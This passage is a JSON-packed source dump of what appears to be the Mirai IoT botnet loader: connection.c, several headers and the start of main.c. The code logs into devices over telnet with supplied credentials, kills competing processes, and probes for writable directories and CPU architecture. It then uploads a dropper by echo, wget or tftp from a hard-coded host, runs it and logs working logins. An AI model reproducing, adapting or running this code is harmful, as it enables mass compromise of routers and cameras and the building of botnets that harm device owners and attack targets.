(uint8_t)rdbuf[i]);\n    }\n\n    return FALSE;\n}\n"
  },
  {
    "path": "loader/src/connection.c",
    "content": "#include <sys/socket.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <time.h>\n#include <pthread.h>\n#include \"headers/includes.h\"\n#include \"headers/connection.h\"\n#include \"headers/server.h\"\n#include \"headers/binary.h\"\n#include \"headers/util.h\"\n\nvoid connection_open(struct connection *conn)\n{\n    pthread_mutex_lock(&conn->lock);\n\n    conn->rdbuf_pos = 0;\n    conn->last_recv = time(NULL);\n    conn->timeout = 10;\n    conn->echo_load_pos = 0;\n    conn->state_telnet = TELNET_CONNECTING;\n    conn->success = FALSE;\n    conn->open = TRUE;\n    conn->bin = NULL;\n    conn->echo_load_pos = 0;\n#ifdef DEBUG\n    printf(\"[FD%d] Called connection_open\\n\", conn->fd);\n#endif\n\n    pthread_mutex_unlock(&conn->lock);\n}\n\nvoid connection_close(struct connection *conn)\n{\n    pthread_mutex_lock(&conn->lock);\n\n    if (conn->open)\n    {\n#ifdef DEBUG\n        printf(\"[FD%d] Shut down connection\\n\", conn->fd);\n#endif\n        memset(conn->output_buffer.data, 0, sizeof(conn->output_buffer.data));\n        conn->output_buffer.deadline = 0;\n        conn->last_recv = 0;\n        conn->open = FALSE;\n        conn->retry_bin = FALSE;\n        conn->ctrlc_retry = FALSE;\n        memset(conn->rdbuf, 0, sizeof(conn->rdbuf));\n        conn->rdbuf_pos = 0;\n\n        if (conn->srv == NULL)\n        {\n            printf(\"srv == NULL\\n\");\n            return;\n        }\n\n        if (conn->success)\n        {\n            ATOMIC_INC(&conn->srv->total_successes);\n            fprintf(stderr, \"OK|%d.%d.%d.%d:%d %s:%s %s\\n\",\n                conn->info.addr & 0xff, (conn->info.addr >> 8) & 0xff, (conn->info.addr >> 16) & 0xff, (conn->info.addr >> 24) & 0xff,\n                ntohs(conn->info.port),\n                conn->info.user, conn->info.pass, conn->info.arch);\n        }\n        else\n        {\n            ATOMIC_INC(&conn->srv->total_failures);\n            fprintf(stderr, \"ERR|%d.%d.%d.%d:%d %s:%s %s|%d\\n\",\n                conn->info.addr & 0xff, (conn->info.addr >> 8) & 0xff, (conn->info.addr >> 16) & 0xff, (conn->info.addr >> 24) & 0xff,\n                ntohs(conn->info.port),\n                conn->info.user, conn->info.pass, conn->info.arch,\n                conn->state_telnet);\n        }\n    }\n    conn->state_telnet = TELNET_CLOSED;\n\n    if (conn->fd != -1)\n    {\n        close(conn->fd);\n        conn->fd = -1;\n        ATOMIC_DEC(&conn->srv->curr_open);\n    }\n\n    pthread_mutex_unlock(&conn->lock);\n}\n\nint connection_consume_iacs(struct connection *conn)\n{\n    int consumed = 0;\n    uint8_t *ptr = conn->rdbuf;\n\n    while (consumed < conn->rdbuf_pos)\n    {\n        int i;\n\n        if (*ptr != 0xff)\n            break;\n        else if (*ptr == 0xff)\n        {\n            if (!can_consume(conn, ptr, 1))\n                break;\n            if (ptr[1] == 0xff)\n            {\n                ptr += 2;\n                consumed += 2;\n                continue;\n            }\n            else if (ptr[1] == 0xfd)\n            {\n                uint8_t tmp1[3] = {255, 251, 31};\n                uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240};\n\n                if (!can_consume(conn, ptr, 2))\n                    break;\n                if (ptr[2] != 31)\n                    goto iac_wont;\n\n                ptr += 3;\n                consumed += 3;\n\n                send(conn->fd, tmp1, 3, MSG_NOSIGNAL);\n                send(conn->fd, tmp2, 9, MSG_NOSIGNAL);\n            }\n            else\n            {\n                iac_wont:\n\n                if (!can_consume(conn, ptr, 2))\n                    break;\n\n                for (i = 0; i < 3; i++)\n                {\n                    if (ptr[i] == 0xfd)\n                        ptr[i] = 0xfc;\n                    else if (ptr[i] == 0xfb)\n                        ptr[i] = 0xfd;\n                }\n\n                send(conn->fd, ptr, 3, MSG_NOSIGNAL);\n                ptr += 3;\n                consumed += 3;\n            }\n        }\n    }\n\n    return consumed;\n}\n\nint connection_consume_login_prompt(struct connection *conn)\n{\n    char *pch;\n    int i, prompt_ending = -1;\n\n    for (i = conn->rdbuf_pos; i >= 0; i--)\n    {\n        if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')\n        {\n#ifdef DEBUG\n            printf(\"matched login prompt at %d, \\\"%c\\\", \\\"%s\\\"\\n\", i, conn->rdbuf[i], conn->rdbuf);\n#endif\n            prompt_ending = i;\n            break;\n        }\n    }\n\n    if (prompt_ending == -1)\n    {\n        int tmp;\n\n        if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, \"ogin\", 4)) != -1)\n            prompt_ending = tmp;\n        else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, \"enter\", 5)) != -1)\n            prompt_ending = tmp;\n    }\n\n    if (prompt_ending == -1)\n        return 0;\n    else\n        return prompt_ending;\n}\n\nint connection_consume_password_prompt(struct connection *conn)\n{\n    char *pch;\n    int i, prompt_ending = -1;\n\n    for (i = conn->rdbuf_pos; i >= 0; i--)\n    {\n        if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')\n        {\n#ifdef DEBUG\n            printf(\"matched password prompt at %d, \\\"%c\\\", \\\"%s\\\"\\n\", i, conn->rdbuf[i], conn->rdbuf);\n#endif\n            prompt_ending = i;\n            break;\n        }\n    }\n\n    if (prompt_ending == -1)\n    {\n        int tmp;\n\n        if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, \"assword\", 7)) != -1)\n            prompt_ending = tmp;\n    }\n\n    if (prompt_ending == -1)\n        return 0;\n    else\n        return prompt_ending;\n}\n\nint connection_consume_prompt(struct connection *conn)\n{\n    char *pch;\n    int i, prompt_ending = -1;\n\n    for (i = conn->rdbuf_pos; i >= 0; i--)\n    {\n        if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')\n        {\n#ifdef DEBUG\n            printf(\"matched any prompt at %d, \\\"%c\\\", \\\"%s\\\"\\n\", i, conn->rdbuf[i], conn->rdbuf);\n#endif\n            prompt_ending = i;\n            break;\n        }\n    }\n\n    if (prompt_ending == -1)\n        return 0;\n    else\n        return prompt_ending;\n}\n\nint connection_consume_verify_login(struct connection *conn)\n{\n    int prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));\n\n    if (prompt_ending == -1)\n        return 0;\n    else\n        return prompt_ending;\n}\n\nint connection_consume_psoutput(struct connection *conn)\n{\n    int offset;\n    char *start = conn->rdbuf;\n    int i, ii;\n\n    offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));\n\n    for (i = 0; i < (offset == -1 ? conn->rdbuf_pos : offset); i++)\n    {\n        if (conn->rdbuf[i] == '\\r')\n            conn->rdbuf[i] = 0;\n        else if (conn->rdbuf[i] == '\\n')\n        {\n            uint8_t option_on = 0;\n            BOOL last_character_was_space = FALSE;\n            char *pid_str = NULL, *proc_name = NULL;\n\n            conn->rdbuf[i] = 0;\n            for (ii = 0; ii < ((char *)&conn->rdbuf[i] - start); ii++)\n            {\n                if (start[ii] == ' ' || start[ii] == '\\t' || start[ii] == 0)\n                {\n                    if (option_on > 0 && !last_character_was_space)\n                        option_on++;\n                    start[ii] = 0;\n                    last_character_was_space = TRUE;\n                }\n                else\n                {\n                    if (option_on == 0)\n                    {\n                        pid_str = &start[ii];\n                        option_on++;\n                    }\n                    else if (option_on >= 3 && option_on <= 5 && last_character_was_space)\n                    {\n                        proc_name = &start[ii];\n                    }\n                    last_character_was_space = FALSE;\n                }\n            }\n\n            if (pid_str != NULL && proc_name != NULL)\n            {\n                int pid = atoi(pid_str);\n                int len_proc_name = strlen(proc_name);\n\n#ifdef DEBUG\n                printf(\"pid: %d, proc_name: %s\\n\", pid, proc_name);\n#endif\n\n                if (pid != 1 && (strcmp(proc_name, \"init\") == 0 || strcmp(proc_name, \"[init]\") == 0)) // Kill the second init\n                    util_sockprintf(conn->fd, \"/bin/busybox kill -9 %d\\r\\n\", pid);\n                else if (pid > 400)\n                {\n                    int num_count = 0;\n                    int num_alphas = 0;\n\n                    for (ii = 0; ii < len_proc_name; ii++)\n                    {\n                        if (proc_name[ii] >= '0' && proc_name[ii] <= '9')\n                            num_count++;\n                        else if ((proc_name[ii] >= 'a' && proc_name[ii] <= 'z') || (proc_name[ii] >= 'A' && proc_name[ii] <= 'Z'))\n                        {\n                            num_alphas++;\n                            break;\n                        }\n                    }\n\n                    if (num_alphas == 0 && num_count > 0)\n                    {\n                        //util_sockprintf(conn->fd, \"/bin/busybox cat /proc/%d/environ\", pid); // lol\n#ifdef DEBUG\n                        printf(\"Killing suspicious process (pid=%d, name=%s)\\n\", pid, proc_name);\n#endif\n                        util_sockprintf(conn->fd, \"/bin/busybox kill -9 %d\\r\\n\", pid);\n                    }\n                }\n            }\n\n            start = conn->rdbuf + i + 1;\n        }\n    }\n\n    if (offset == -1)\n    {\n        if (conn->rdbuf_pos > 7168)\n        {\n            memmove(conn->rdbuf, conn->rdbuf + 6144, conn->rdbuf_pos - 6144);\n            conn->rdbuf_pos -= 6144;\n        }\n        return 0;\n    }\n    else\n    {\n        for (i = 0; i < conn->rdbuf_pos; i++)\n        {\n            if (conn->rdbuf[i] == 0)\n                conn->rdbuf[i] = ' ';\n        }\n        return offset;\n    }\n}\n\nint connection_consume_mounts(struct connection *conn)\n{\n    char linebuf[256];\n    int linebuf_pos = 0, num_whitespaces = 0;\n    int i, prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));\n\n    if (prompt_ending == -1)\n        return 0;\n\n    for (i = 0; i < prompt_ending; i++)\n    {\n\n        if (linebuf_pos == sizeof(linebuf) - 1)\n        {\n            // why are we here\n            break;\n        }\n\n        if (conn->rdbuf[i] == '\\n')\n        {\n            char *path, *mnt_info;\n\n            linebuf[linebuf_pos++] = 0;\n\n            strtok(linebuf, \" \"); // Skip name of partition\n            if ((path = strtok(NULL, \" \")) == NULL)\n                goto dirs_end_line;\n            if (strtok(NULL, \" \") == NULL) // Skip type of partition\n                goto dirs_end_line;\n            if ((mnt_info = strtok(NULL, \" \")) == NULL)\n                goto dirs_end_line;\n\n            if (path[strlen(path) - 1] == '/')\n                path[strlen(path) - 1] = 0;\n\n            if (util_memsearch(mnt_info, strlen(mnt_info), \"rw\", 2) != -1)\n            {\n                util_sockprintf(conn->fd, \"/bin/busybox echo -e '%s%s' > %s/.nippon; /bin/busybox cat %s/.nippon; /bin/busybox rm %s/.nippon\\r\\n\",\n                                VERIFY_STRING_HEX, path, path, path, path, path);\n            }\n\n            dirs_end_line:\n            linebuf_pos = 0;\n        }\n        else if (conn->rdbuf[i] == ' ' || conn->rdbuf[i] == '\\t')\n        {\n            if (num_whitespaces++ == 0)\n                linebuf[linebuf_pos++] = conn->rdbuf[i];\n        }\n        else if (conn->rdbuf[i] != '\\r')\n        {\n            num_whitespaces = 0;\n            linebuf[linebuf_pos++] = conn->rdbuf[i];\n        }\n    }\n\n    util_sockprintf(conn->fd, \"/bin/busybox echo -e '%s/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon\\r\\n\",\n                                VERIFY_STRING_HEX);\n\n    util_sockprintf(conn->fd, TOKEN_QUERY \"\\r\\n\");\n    return prompt_ending;\n}\n\nint connection_consume_written_dirs(struct connection *conn)\n{\n    int end_pos, i, offset, total_offset = 0;\n    BOOL found_writeable = FALSE;\n\n    if ((end_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE))) == -1)\n        return 0;\n\n    while (TRUE)\n    {\n        char *pch;\n        int pch_len;\n\n        offset = util_memsearch(conn->rdbuf + total_offset, end_pos - total_offset, VERIFY_STRING_CHECK, strlen(VERIFY_STRING_CHECK));\n        if (offset == -1)\n            break;\n        total_offset += offset;\n\n        pch = strtok(conn->rdbuf + total_offset, \"\\n\");\n        if (pch == NULL)\n            continue;\n        pch_len = strlen(pch);\n\n        if (pch[pch_len - 1] == '\\r')\n            pch[pch_len - 1] = 0;\n\n        util_sockprintf(conn->fd, \"rm %s/.t; rm %s/.sh; rm %s/.human\\r\\n\", pch, pch, pch);\n        if (!found_writeable)\n        {\n            if (pch_len < 31)\n            {\n                strcpy(conn->info.writedir, pch);\n                found_writeable = TRUE;\n            }\n            else\n                connection_close(conn);\n        }\n    }\n\n    return end_pos;\n}\n\nint connection_consume_copy_op(struct connection *conn)\n{\n    int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));\n\n    if (offset == -1)\n        return 0;\n    return offset;\n}\n\nint connection_consume_arch(struct connection *conn)\n{\n    if (!conn->info.has_arch)\n    {\n        struct elf_hdr *ehdr;\n        int elf_start_pos;\n\n        if ((elf_start_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, \"ELF\", 3)) == -1)\n            return 0;\n        elf_start_pos -= 4; // Go back ELF\n\n        ehdr = (struct elf_hdr *)(conn->rdbuf + elf_start_pos);\n        conn->info.has_arch = TRUE;\n\n        switch (ehdr->e_ident[EI_DATA])\n        {\n            case EE_NONE:\n                return 0;\n            case EE_BIG:\n#ifdef LOADER_LITTLE_ENDIAN\n                ehdr->e_machine = htons(ehdr->e_machine);\n#endif\n                break;\n            case EE_LITTLE:\n#ifdef LOADER_BIG_ENDIAN\n                ehdr->e_machine = htons(ehdr->e_machine);\n#endif\n                break;\n        }\n\n        /* arm mpsl spc m68k ppc x86 mips sh4 */\n        if (ehdr->e_machine == EM_ARM || ehdr->e_machine == EM_AARCH64)\n            strcpy(conn->info.arch, \"arm\");\n        else if (ehdr->e_machine == EM_MIPS || ehdr->e_machine == EM_MIPS_RS3_LE)\n        {\n            if (ehdr->e_ident[EI_DATA] == EE_LITTLE)\n                strcpy(conn->info.arch, \"mpsl\");\n            else\n                strcpy(conn->info.arch, \"mips\");\n        }\n        else if (ehdr->e_machine == EM_386 || ehdr->e_machine == EM_486 || ehdr->e_machine == EM_860 || ehdr->e_machine == EM_X86_64)\n            strcpy(conn->info.arch, \"x86\");\n        else if (ehdr->e_machine == EM_SPARC || ehdr->e_machine == EM_SPARC32PLUS || ehdr->e_machine == EM_SPARCV9)\n            strcpy(conn->info.arch, \"spc\");\n        else if (ehdr->e_machine == EM_68K || ehdr->e_machine == EM_88K)\n            strcpy(conn->info.arch, \"m68k\");\n        else if (ehdr->e_machine == EM_PPC || ehdr->e_machine == EM_PPC64)\n            strcpy(conn->info.arch, \"ppc\");\n        else if (ehdr->e_machine == EM_SH)\n            strcpy(conn->info.arch, \"sh4\");\n        else\n        {\n            conn->info.arch[0] = 0;\n            connection_close(conn);\n        }\n    }\n    else\n    {\n        int offset;\n\n        if ((offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE))) != -1)\n            return offset;\n        if (conn->rdbuf_pos > 7168)\n        {\n            // Hack drain buffer\n            memmove(conn->rdbuf, conn->rdbuf + 6144, conn->rdbuf_pos - 6144);\n            conn->rdbuf_pos -= 6144;\n        }\n    }\n\n    return 0;\n}\n\nint connection_consume_arm_subtype(struct connection *conn)\n{\n    int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));\n\n    if (offset == -1)\n        return 0;\n\n    if (util_memsearch(conn->rdbuf, offset, \"ARMv7\", 5) != -1 || util_memsearch(conn->rdbuf, offset, \"ARMv6\", 5) != -1)\n    {\n#ifdef DEBUG\n        printf(\"[FD%d] Arch has ARMv7!\\n\", conn->fd);\n#endif\n        strcpy(conn->info.arch, \"arm7\");\n    }\n\n    return offset;\n}\n\nint connection_consume_upload_methods(struct connection *conn)\n{\n    int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));\n\n    if (offset == -1)\n        return 0;\n\n    if (util_memsearch(conn->rdbuf, offset, \"wget: applet not found\", 22) == -1)\n        conn->info.upload_method = UPLOAD_WGET;\n    else if (util_memsearch(conn->rdbuf, offset, \"tftp: applet not found\", 22) == -1)\n        conn->info.upload_method = UPLOAD_TFTP;\n    else\n        conn->info.upload_method = UPLOAD_ECHO;\n\n    return offset;\n}\n\nint connection_upload_echo(struct connection *conn)\n{\n    int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));\n\n    if (offset == -1)\n        return 0;\n\n    if (conn->bin == NULL)\n    {\n        connection_close(conn);\n        return 0;\n    }\n    \n    if (conn->echo_load_pos == conn->bin->hex_payloads_len)\n        return offset;\n\n    // echo -ne 'hex' [>]> path/FN_DROPPER\n    util_sockprintf(conn->fd, \"echo -ne '%s' %s \" FN_DROPPER \"; \" TOKEN_QUERY \"\\r\\n\",\n                    conn->bin->hex_payloads[conn->echo_load_pos], (conn->echo_load_pos == 0) ? \">\" : \">>\");\n    conn->echo_load_pos++;\n\n    // Hack drain\n    memmove(conn->rdbuf, conn->rdbuf + offset, conn->rdbuf_pos - offset);\n    conn->rdbuf_pos -= offset;\n\n    return 0;\n}\n\nint connection_upload_wget(struct connection *conn)\n{\n    int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));\n\n    if (offset == -1)\n        return 0;\n\n    return offset;\n}\n\nint connection_upload_tftp(struct connection *conn)\n{\n    int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));\n\n    if (offset == -1)\n        return 0;\n\n    if (util_memsearch(conn->rdbuf, offset, \"Permission denied\", 17) != -1)\n        return offset * -1;\n\n    if (util_memsearch(conn->rdbuf, offset, \"timeout\", 7) != -1)\n        return offset * -1;\n\n    if (util_memsearch(conn->rdbuf, offset, \"illegal option\", 14) != -1)\n        return offset * -1;\n\n    return offset;\n}\n\nint connection_verify_payload(struct connection *conn)\n{\n    int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, EXEC_RESPONSE, strlen(EXEC_RESPONSE));\n\n    if (offset == -1)\n        return 0;\n\n    if (util_memsearch(conn->rdbuf, offset, \"listening tun0\", 14) == -1)\n        return offset;\n    else\n        return 255 + offset;\n}\n\nint connection_consume_cleanup(struct connection *conn)\n{\n    int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));\n\n    if (offset == -1)\n        return 0;\n    return offset;\n}\n\nstatic BOOL can_consume(struct connection *conn, uint8_t *ptr, int amount)\n{\n    uint8_t *end = conn->rdbuf + conn->rdbuf_pos;\n\n    return ptr + amount < end;\n}\n"
  },
  {
    "path": "loader/src/headers/binary.h",
    "content": "#pragma once\n\n#include \"includes.h\"\n\n#define BINARY_BYTES_PER_ECHOLINE   128\n\nstruct binary {\n    char arch[6];\n    int hex_payloads_len;\n    char **hex_payloads;\n};\n\nBOOL binary_init(void);\nstruct binary *binary_get_by_arch(char *arch);\n\nstatic BOOL load(struct binary *bin, char *fname);\n"
  },
  {
    "path": "loader/src/headers/connection.h",
    "content": "#pragma once\n\n#include <time.h>\n#include <pthread.h>\n#include \"includes.h\"\n#include \"telnet_info.h\"\n\nstruct connection {\n    pthread_mutex_t lock;\n    struct server *srv;\n    struct binary *bin;\n    struct telnet_info info;\n    int fd, echo_load_pos;\n    time_t last_recv;\n    enum {\n        TELNET_CLOSED,          // 0\n        TELNET_CONNECTING,      // 1\n        TELNET_READ_IACS,       // 2\n        TELNET_USER_PROMPT,     // 3\n        TELNET_PASS_PROMPT,     // 4\n        TELNET_WAITPASS_PROMPT, // 5\n        TELNET_CHECK_LOGIN,     // 6\n        TELNET_VERIFY_LOGIN,    // 7\n        TELNET_PARSE_PS,        // 8\n        TELNET_PARSE_MOUNTS,    // 9\n        TELNET_READ_WRITEABLE,  // 10\n        TELNET_COPY_ECHO,       // 11\n        TELNET_DETECT_ARCH,     // 12\n        TELNET_ARM_SUBTYPE,     // 13\n        TELNET_UPLOAD_METHODS,  // 14\n        TELNET_UPLOAD_ECHO,     // 15\n        TELNET_UPLOAD_WGET,     // 16\n        TELNET_UPLOAD_TFTP,     // 17\n        TELNET_RUN_BINARY,      // 18\n        TELNET_CLEANUP          // 19\n    } state_telnet;\n    struct {\n        char data[512];\n        int deadline;\n    } output_buffer;\n    uint16_t rdbuf_pos, timeout;\n    BOOL open, success, retry_bin, ctrlc_retry;\n    uint8_t rdbuf[8192];\n};\n\nvoid connection_open(struct connection *conn);\nvoid connection_close(struct connection *conn);\n\nint connection_consume_iacs(struct connection *conn);\nint connection_consume_login_prompt(struct connection *conn);\nint connection_consume_password_prompt(struct connection *conn);\nint connection_consume_prompt(struct connection *conn);\nint connection_consume_verify_login(struct connection *conn);\nint connection_consume_psoutput(struct connection *conn);\nint connection_consume_mounts(struct connection *conn);\nint connection_consume_written_dirs(struct connection *conn);\nint connection_consume_copy_op(struct connection *conn);\nint connection_consume_arch(struct connection *conn);\nint connection_consume_arm_subtype(struct connection *conn);\nint connection_consume_upload_methods(struct connection *conn);\nint connection_upload_echo(struct connection *conn);\nint connection_upload_wget(struct connection *conn);\nint connection_upload_tftp(struct connection *conn);\nint connection_verify_payload(struct connection *conn);\nint connection_consume_cleanup(struct connection *conn);\n\nstatic BOOL can_consume(struct connection *conn, uint8_t *ptr, int amount);\n"
  },
  {
    "path": "loader/src/headers/includes.h",
    "content": "#pragma once\n\n#include <stdint.h>\n\n#define STDIN   0\n#define STDOUT  1\n#define STDERR  2\n\n#define FALSE   0\n#define TRUE    1\ntypedef char BOOL;\n\ntypedef uint32_t ipv4_t;\ntypedef uint16_t port_t;\n\n#define LOADER_LITTLE_ENDIAN\n\n#define ATOMIC_ADD(ptr,i) __sync_fetch_and_add((ptr),i)\n#define ATOMIC_SUB(ptr,i) __sync_fetch_and_sub((ptr),i)\n#define ATOMIC_INC(ptr) ATOMIC_ADD((ptr),1)\n#define ATOMIC_DEC(ptr) ATOMIC_SUB((ptr),1)\n#define ATOMIC_GET(ptr) ATOMIC_ADD((ptr),0)\n\n#define VERIFY_STRING_HEX   \"\\\\x6b\\\\x61\\\\x6d\\\\x69\"\n#define VERIFY_STRING_CHECK \"kami\"\n\n#define TOKEN_QUERY     \"/bin/busybox ECCHI\"\n#define TOKEN_RESPONSE  \"ECCHI: applet not found\"\n\n#define EXEC_QUERY     \"/bin/busybox IHCCE\"\n#define EXEC_RESPONSE  \"IHCCE: applet not found\"\n\n#define FN_DROPPER  \"upnp\"\n#define FN_BINARY   \"dvrHelper\"\n\nextern char *id_tag;\n"
  },
  {
    "path": "loader/src/headers/server.h",
    "content": "#pragma once\n\n#include <sys/epoll.h>\n#include \"includes.h\"\n#include \"telnet_info.h\"\n#include \"connection.h\"\n\nstruct server {\n    uint32_t max_open;\n    volatile uint32_t curr_open;\n    volatile uint32_t total_input, total_logins, total_echoes, total_wgets, total_tftps, total_successes, total_failures;\n    char *wget_host_ip, *tftp_host_ip;\n    struct server_worker *workers;\n    struct connection **estab_conns;\n    ipv4_t *bind_addrs;\n    pthread_t to_thrd;\n    port_t wget_host_port;\n    uint8_t workers_len, bind_addrs_len;\n    int curr_worker_child;\n};\n\nstruct server_worker {\n    struct server *srv;\n    int efd; // We create a separate epoll context per thread so thread safety isn't our problem\n    pthread_t thread;\n    uint8_t thread_id;\n};\n\nstruct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip);\nvoid server_destroy(struct server *srv);\nvoid server_queue_telnet(struct server *srv, struct telnet_info *info);\nvoid server_telnet_probe(struct server *srv, struct telnet_info *info);\n \nstatic void bind_core(int core);\nstatic void *worker(void *arg);\nstatic void handle_output_buffers(struct server_worker *);\nstatic void handle_event(struct server_worker *wrker, struct epoll_event *ev);\nstatic void *timeout_thread(void *);\n"
  },
  {
    "path": "loader/src/headers/telnet_info.h",
    "content": "#pragma once\n\n#include \"includes.h\"\n\nstruct telnet_info {\n    char user[32], pass[32], arch[6], writedir[32];\n    ipv4_t addr;\n    port_t port;\n    enum {\n        UPLOAD_ECHO,\n        UPLOAD_WGET,\n        UPLOAD_TFTP\n    } upload_method;\n    BOOL has_auth, has_arch;\n};\n\nstruct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info);\nstruct telnet_info *telnet_info_parse(char *str, struct telnet_info *out);\n"
  },
  {
    "path": "loader/src/headers/util.h",
    "content": "#pragma once\n\n#include \"server.h\"\n#include \"includes.h\"\n\n#define BUFFER_SIZE 4096\n\n#define EI_NIDENT   16 // Side of e_ident in elf header\n#define EI_DATA     5  // Offset endianness in e_ident\n\n#define EE_NONE     0 // No endianness ????\n#define EE_LITTLE   1 // Little endian\n#define EE_BIG      2 // Big endian\n\n#define ET_NOFILE   0 // None\n#define ET_REL      1 // Relocatable file\n#define ET_EXEC     2 // Executable file\n#define ET_DYN      3 // Shared object file\n#define ET_CORE     4 // Core file\n\n/* These constants define the various ELF target machines */\n#define EM_NONE         0\n#define EM_M32          1\n#define EM_SPARC        2\n#define EM_386          3\n#define EM_68K          4 // m68k\n#define EM_88K          5 // m68k\n#define EM_486          6 // x86\n#define EM_860          7 // Unknown\n#define EM_MIPS         8       /* MIPS R3000 (officially, big-endian only) */\n                                /* Next two are historical and binaries and\n                                   modules of these types will be rejected by\n                                   Linux.  */\n#define EM_MIPS_RS3_LE  10      /* MIPS R3000 little-endian */\n#define EM_MIPS_RS4_BE  10      /* MIPS R4000 big-endian */\n\n#define EM_PARISC       15      /* HPPA */\n#define EM_SPARC32PLUS  18      /* Sun's \"v8plus\" */\n#define EM_PPC          20      /* PowerPC */\n#define EM_PPC64        21      /* PowerPC64 */\n#define EM_SPU          23      /* Cell BE SPU */\n#define EM_ARM          40      /* ARM 32 bit */\n#define EM_SH           42      /* SuperH */\n#define EM_SPARCV9      43      /* SPARC v9 64-bit */\n#define EM_H8_300       46      /* Renesas H8/300 */\n#define EM_IA_64        50      /* HP/Intel IA-64 */\n#define EM_X86_64       62      /* AMD x86-64 */\n#define EM_S390         22      /* IBM S/390 */\n#define EM_CRIS         76      /* Axis Communications 32-bit embedded processor */\n#define EM_M32R         88      /* Renesas M32R */\n#define EM_MN10300      89      /* Panasonic/MEI MN10300, AM33 */\n#define EM_OPENRISC     92     /* OpenRISC 32-bit embedded processor */\n#define EM_BLACKFIN     106     /* ADI Blackfin Processor */\n#define EM_ALTERA_NIOS2 113     /* Altera Nios II soft-core processor */\n#define EM_TI_C6000     140     /* TI C6X DSPs */\n#define EM_AARCH64      183     /* ARM 64 bit */\n#define EM_TILEPRO      188     /* Tilera TILEPro */\n#define EM_MICROBLAZE   189     /* Xilinx MicroBlaze */\n#define EM_TILEGX       191     /* Tilera TILE-Gx */\n#define EM_FRV          0x5441  /* Fujitsu FR-V */\n#define EM_AVR32        0x18ad  /* Atmel AVR32 */\n\nstruct elf_hdr {\n    uint8_t e_ident[EI_NIDENT];\n    uint16_t e_type, e_machine;\n    uint32_t e_version;\n} __attribute__((packed));\n\nint util_socket_and_bind(struct server *srv);\nint util_memsearch(char *buf, int buf_len, char *mem, int mem_len);\nBOOL util_sockprintf(int fd, const char *fmt, ...);\nchar *util_trim(char *str);\n"
  },
  {
    "path": "loader/src/main.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <string.h>\n#include <unistd.h>\n#include <pthread.h>\n#include <sys/socket.h>\n#include <errno.h>\n#include \"headers/includes.h\"\n#include \"headers/server.h\"\n#include \"headers/telnet_info.h\"\n#include \"headers/binary.h\"\n#include \"headers/util.h\"\n\nstatic void *stats_thread(void *);\n\nstatic struct server *srv;\n\nchar *id_tag = \"telnet\";\n\nint main(int argc, char **args)\n{\n    pthread_t stats_thrd;\n    uint8_t addrs_len;\n    ipv4_t *addrs;\n    uint32_t total = 0;\n    struct telnet_info info;\n\n#ifdef DEBUG\n    addrs_len = 1;\n    addrs = calloc(4, sizeof (ipv4_t));\n    addrs[0] = inet_addr(\"0.0.0.0\");\n#else\n    addrs_len = 2;\n    addrs = calloc(addrs_len, sizeof (ipv4_t));\n\n    addrs[0] = inet_addr(\"192.168.0.1\"); // Address to bind to\n    addrs[1] = inet_addr(\"192.168.1.1\"); // Address to bind to\n#endif\n\n    if (argc == 2)\n    {\n        id_tag = args[1];\n    }\n\n    if (!binary_init())\n    {\n        printf(\"Failed to load bins/dlr.* as dropper\\n\");\n        return 1;\n    }\n\n    /*                                                                                   wget address           tftp address */\n    if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, \"100.200.100.100\", 80, \"100.200.100.100\")) == NULL)\n    {\n        printf(\"Failed to initialize server. Aborting\\n\");\n        return 1;\n    }\n\n    pthread_create(&stats_thrd, NULL, stats_thread, NULL);\n\n    // Read from stdin\n    while (TRUE)\n    {\n        char strbuf[1024];\n\n        if (fgets(strbuf, sizeof (strbuf), stdin) == NULL)\n            break;\n\n        util_trim(strbuf);\n\n        if (strlen(strbuf) == 0)\n        {\n            usleep(10000);\n            continue;\n        }\n\n        memset(&info, 0, sizeof(struct telnet_info));\n        if (telnet_info_parse(strbuf, &info) == NULL)\n            